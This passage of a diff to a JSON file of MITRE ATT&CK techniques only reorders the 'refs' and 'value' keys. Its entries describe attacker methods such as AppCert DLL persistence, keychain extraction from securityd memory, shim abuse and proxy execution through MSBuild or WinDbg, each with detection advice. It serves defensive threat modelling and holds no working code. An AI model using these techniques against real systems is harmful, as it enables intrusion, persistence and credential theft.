+ "https://attack.mitre.org/wiki/Technique/T1025"
]
},
- "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec"
+ "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec",
+ "value": "Data from Removable Media - T1025"
},
{
"description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows, macOS\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control",
- "value": "Code Signing - T1116",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1116",
- "https://en.wikipedia.org/wiki/Code%20signing",
- "http://www.thesafemac.com/new-signed-malware-called-janicab/",
- "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
- "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
- ],
"external_id": "T1116",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -338,20 +329,21 @@
"mitre_platforms": [
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1116",
+ "https://en.wikipedia.org/wiki/Code%20signing",
+ "http://www.thesafemac.com/new-signed-malware-called-janicab/",
+ "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
+ "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
]
},
- "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d"
+ "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d",
+ "value": "Code Signing - T1116"
},
{
"description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017)\n*CreateProcess\n*CreateProcessAsUser\n*CreateProcessWithLoginW\n*CreateProcessWithTokenW\n*WinExec\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n\nDetection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process Monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
- "value": "AppCert DLLs - T1182",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1182",
- "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://forum.sysinternals.com/appcertdlls%20topic12546.html"
- ],
"external_id": "T1182",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -364,21 +356,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1182",
+ "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://forum.sysinternals.com/appcertdlls%20topic12546.html"
]
},
- "uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025"
+ "uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025",
+ "value": "AppCert DLLs - T1182"
},
{
"description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM, root",
- "value": "Rootkit - T1014",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1014",
- "https://en.wikipedia.org/wiki/Rootkit",
- "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
- "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
- "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
- ],
"external_id": "T1014",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -392,39 +383,42 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1014",
+ "https://en.wikipedia.org/wiki/Rootkit",
+ "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
+ "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
+ "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
]
},
- "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b"
+ "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
+ "value": "Rootkit - T1014"
},
{
"description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: macOS\n\nPermissions Required: User",
- "value": "Login Item - T1162",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1162",
- "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
- "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
- ],
"external_id": "T1162",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1162",
+ "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
+ "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
+ "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
]
},
- "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9"
+ "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9",
+ "value": "Login Item - T1162"
},
{
"description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No",
- "value": "Command-Line Interface - T1059",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1059",
- "https://en.wikipedia.org/wiki/Command-line%20interface"
- ],
"external_id": "T1059",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -437,18 +431,18 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1059",
+ "https://en.wikipedia.org/wiki/Command-line%20interface"
]
},
- "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830"
+ "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
+ "value": "Command-Line Interface - T1059"
},
{
"description": "Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes",
- "value": "Exfiltration Over Command and Control Channel - T1041",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1041",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1041",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -461,17 +455,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1041",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "92d7da27-2d91-488e-a00c-059dc162766d"
+ "uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "value": "Exfiltration Over Command and Control Channel - T1041"
},
{
"description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via Spearphishing Attachment with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via Spearphishing Link that leads to exploitation of a browser or application vulnerability via Exploitation for Client Execution. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.\n\nDetection: Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
- "value": "User Execution - T1204",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1204"
- ],
"external_id": "T1204",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -485,17 +480,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1204"
]
},
- "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5"
+ "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
+ "value": "User Execution - T1204"
},
{
"description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
- "value": "Multi-Stage Channels - T1104",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1104"
- ],
"external_id": "T1104",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -511,20 +506,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1104"
]
},
- "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91"
+ "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91",
+ "value": "Multi-Stage Channels - T1104"
},
{
"description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: macOS\n\nData Sources: Process Monitoring\n\nPermissions Required: root",
- "value": "Securityd Memory - T1167",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1167",
- "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
- "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
- "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
- ],
"external_id": "T1167",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -534,17 +526,20 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1167",
+ "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
+ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
+ "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
- "uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b"
+ "uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b",
+ "value": "Securityd Memory - T1167"
},
{
"description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\n\nDetection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway",
- "value": "Spearphishing Attachment - T1193",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1193"
- ],
"external_id": "T1193",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -561,19 +556,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1193"
]
},
- "uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38"
+ "uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38",
+ "value": "Spearphishing Attachment - T1193"
},
{
"description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator",
- "value": "Application Shimming - T1138",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1138",
- "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
- "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
- ],
"external_id": "T1138",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -588,19 +581,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1138",
+ "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
+ "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
- "uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566"
+ "uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566",
+ "value": "Application Shimming - T1138"
},
{
"description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Input Capture - T1056",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1056",
- "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
- "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
- ],
"external_id": "T1056",
"kill_chain": [
"mitre-attack:enterprise-attack:collection",
@@ -616,19 +609,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1056",
+ "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
+ "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
]
},
- "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2"
+ "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
+ "value": "Input Capture - T1056"
},
{
"description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
- "value": "Regsvcs/Regasm - T1121",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1121",
- "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
- "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
- ],
"external_id": "T1121",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -640,14 +633,30 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1121",
+ "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
+ "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
]
},
- "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302"
+ "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302",
+ "value": "Regsvcs/Regasm - T1121"
},
{
"description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, Adaptforward",
- "value": "Trusted Developer Utilities - T1127",
"meta": {
+ "external_id": "T1127",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
+ "mitre_data_sources": [
